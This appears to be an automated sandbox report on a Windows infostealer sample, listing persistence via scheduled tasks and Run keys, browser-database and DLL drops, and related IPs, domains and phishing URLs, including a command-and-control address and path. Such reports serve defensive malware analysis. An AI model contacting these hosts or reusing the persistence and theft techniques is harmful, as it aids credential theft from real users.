Execution Graph export aborted for target DocumentsFIDGDAKFHI.exe, PID 2552 because it is empty
Execution Graph export aborted for target file.exe, PID 7316 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 8764 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
13:49:08	API Interceptor	355x Sleep call for process: file.exe modified
13:50:01	API Interceptor	428x Sleep call for process: skotes.exe modified
13:50:29	API Interceptor	16x Sleep call for process: ff628321ee.exe modified
19:49:38	Task Scheduler	Run new task: skotes path: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
19:50:33	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run ff628321ee.exe C:\Users\user~1\AppData\Local\Temp\1009653001\ff628321ee.exe
19:50:41	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run ef7381e244.exe C:\Users\user~1\AppData\Local\Temp\1009654001\ef7381e244.exe
19:50:51	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 38e11d9cb7.exe C:\Users\user~1\AppData\Local\Temp\1009655001\38e11d9cb7.exe
19:51:03	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run ff628321ee.exe C:\Users\user~1\AppData\Local\Temp\1009653001\ff628321ee.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	valid.sh.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	valid.sh.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	valid.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, Amadey, Cerbfyne Stealer, Credential Flusher, Cryptbot, LummaC Stealer, Poverty Stealer	Browse	172.64.41.3
	http://img1.wsimg.com/blobby/go/fae029f6-27b1-4578-94bc-ae0bbaeebde4/downloads/buluxanitoteras.pdf	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
prod.detectportal.prod.cloudops.mozgcp.net	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
home.twentykm20sr.top	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.118.84.150
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	34.118.84.150
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.118.84.150
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	34.118.84.150
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	213.171.8.162
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	213.171.8.162
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	213.171.8.162
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	213.171.8.162
	valid.sh.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	213.171.8.162
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.118.89.252

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
AKAMAI-ASUS	file.exe	Get hash	malicious	Unknown	Browse	104.121.10.34
	Notice_Of_New_Remittance.pdf	Get hash	malicious	Unknown	Browse	92.122.16.141
	file.exe	Get hash	malicious	Unknown	Browse	104.121.10.34
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.121.10.34
	http://secureverificationbooking.com/p/680450950	Get hash	malicious	Unknown	Browse	23.38.98.79
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.121.10.34
	Document Review for Recent Transaction - Signature requested by Xiomara Baldwin Support Team.eml	Get hash	malicious	Lure-BasedAttack	Browse	23.50.131.23
	file.exe	Get hash	malicious	Unknown	Browse	104.121.10.34
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	104.121.10.34
	https://getgreenshot.org	Get hash	malicious	Unknown	Browse	2.20.41.119
MICROSOFT-CORP-MSN-AS-BLOCKUS	container payment.xls	Get hash	malicious	Unknown	Browse	13.107.246.63
	jmhgeojeri.elf	Get hash	malicious	Unknown	Browse	22.63.252.189
	pjyhwsdgkl.elf	Get hash	malicious	Unknown	Browse	22.50.244.24
	jmggnxeedy.elf	Get hash	malicious	Unknown	Browse	20.37.46.196
	akcqrfutuo.elf	Get hash	malicious	Unknown	Browse	20.48.174.46
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	23.101.168.44
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	FW_ Fwd_ Voice Mail Message - 5TH Judicial Circuit.eml	Get hash	malicious	Lure-BasedAttack, HTMLPhisher	Browse	40.126.31.69
	https://multikultural.az/web/v2/index.php?query=bWVubmVuQHNlbmlvcnNvbHV0aW9uc3Z0Lm9yZw==	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	container payment.xls	Get hash	malicious	Unknown	Browse	52.149.20.212 13.107.246.63 20.190.147.10 23.214.206.19
	https://concursolutions.us.com/a25kQvF4zrkinsa51n0h3rdanW1d07r9s0h3nW1	Get hash	malicious	Unknown	Browse	52.149.20.212 13.107.246.63 20.190.147.10 23.214.206.19
	REMITTANCE_PAYMENT54342Saic.html	Get hash	malicious	Phisher	Browse	52.149.20.212 13.107.246.63 20.190.147.10 23.214.206.19
	https://cloudserver-filesredir667900989385.s3.eu-central-1.amazonaws.com/6354799604_PDF.html	Get hash	malicious	ScreenConnect Tool	Browse	52.149.20.212 13.107.246.63 20.190.147.10 23.214.206.19
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	52.149.20.212 13.107.246.63 20.190.147.10 23.214.206.19
	file.exe	Get hash	malicious	Unknown	Browse	52.149.20.212 13.107.246.63 20.190.147.10 23.214.206.19
	file.exe	Get hash	malicious	LummaC Stealer	Browse	52.149.20.212 13.107.246.63 20.190.147.10 23.214.206.19
	file.exe	Get hash	malicious	Unknown	Browse	52.149.20.212 13.107.246.63 20.190.147.10 23.214.206.19
	FW_ Fwd_ Voice Mail Message - 5TH Judicial Circuit.eml	Get hash	malicious	Lure-BasedAttack, HTMLPhisher	Browse	52.149.20.212 13.107.246.63 20.190.147.10 23.214.206.19
	https://chellenpunion.wordpress.com/	Get hash	malicious	Unknown	Browse	52.149.20.212 13.107.246.63 20.190.147.10 23.214.206.19
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	Unknown	Browse	104.21.82.174 104.121.10.34
	container payment.xls	Get hash	malicious	Unknown	Browse	104.21.82.174 104.121.10.34
	file.exe	Get hash	malicious	Unknown	Browse	104.21.82.174 104.121.10.34
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.82.174 104.121.10.34
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.82.174 104.121.10.34
	file.exe	Get hash	malicious	Unknown	Browse	104.21.82.174 104.121.10.34
	A1 igazol#U00e1s.cmd	Get hash	malicious	DBatLoader, FormBook	Browse	104.21.82.174 104.121.10.34
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	104.21.82.174 104.121.10.34
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.82.174 104.121.10.34
	file.exe	Get hash	malicious	Unknown	Browse	104.21.82.174 104.121.10.34
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, Cerbfyne Stealer, Credential Flusher, Cryptbot, LummaC Stealer, Poverty Stealer	Browse
	vwkb5DQRAL.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, Cerbfyne Stealer, Credential Flusher, Cryptbot, LummaC Stealer, Poverty Stealer	Browse
	vwkb5DQRAL.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BFHDAEHDAKECGCAKFCFIJDHJDB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03786218306281921
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWB2IGKhNbxrO3Dpvu2HI:58r54w0VW3xWB2ohFQ3Y2
MD5:	4BB4A37B8E93E9B0F5D3DF275799D45E
SHA1:	E27DF7CC49B0D145140C119A99C1BBAA9ECCE8F7
SHA-256:	89BC0F21671C244C40A9EA42893B508858AD6E1E26AC16F2BD507C3E8CBB3CF7
SHA-512:	F2FC9067EF11DC3B719507B97C76A19B9E976D143A2FD11474B8D2A2848A706AFCA316A95FEEBA644099497A95E1C426CDAB923D5A70619018E1543FEF3182DB
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CFBAKKJDBKJJJKFHDAEB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIJJKECFCFBGDHIECAAF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCAEHDHD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIIDGCGCBFBAKFHIJDBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	9370
Entropy (8bit):	5.514140640374404
Encrypted:	false
SSDEEP:	192:lLnSRkPYbBp6tqUCaXr6V6kHNBw8D3nSl:NeqqUWpPwK0
MD5:	7E44458E0A8A3A7D10875BC3B7AE72D1
SHA1:	E5E6AC8676EE3761DAB13A10EB7573C19F48D297
SHA-256:	21A04E176A9CEBDA60AE6FD82A7495C6E0867ED02B8009A44DDC9863E14D8753
SHA-512:	012ED6CDC0802AA1063EFE841549341CC86EB626A26FC4BDC509598D8E33093296510344A2CC4419B007F6191F3445DA8F0AAE3B1626E54C1EF66DDDF3FA59B1
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "27fb6245-bd08-4de6-8f4d-2ece3f597752");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696491690);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696491694);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\HJKJKKKJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.265702118322572
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkM9SAELyKOMq+8HKkjucswRv8p3nVumw:K0q+n0J99ELyKOMq+8HKkjuczRv89c
MD5:	4AAF7CB5A19938D371E350B2E992B4A7
SHA1:	5AE2485E93D32615A6C4B67D6E0EC34E0C1F74EC
SHA-256:	01C4627944C02962D42DDA5722237964102584615D2C15C83CCBC1D96E5C3FA6
SHA-512:	E88B75887C87E30BAEDF697503B04C2799D31203BBB8EC49B12AB545AE3EDC01FF53E5236FF5D38B1A73B814B2D5DAC09D11668A804A98273D6738C580CC805A
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJKJJKFHIJKKFHJJECBAFIDAFI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: vwkb5DQRAL.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: vwkb5DQRAL.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
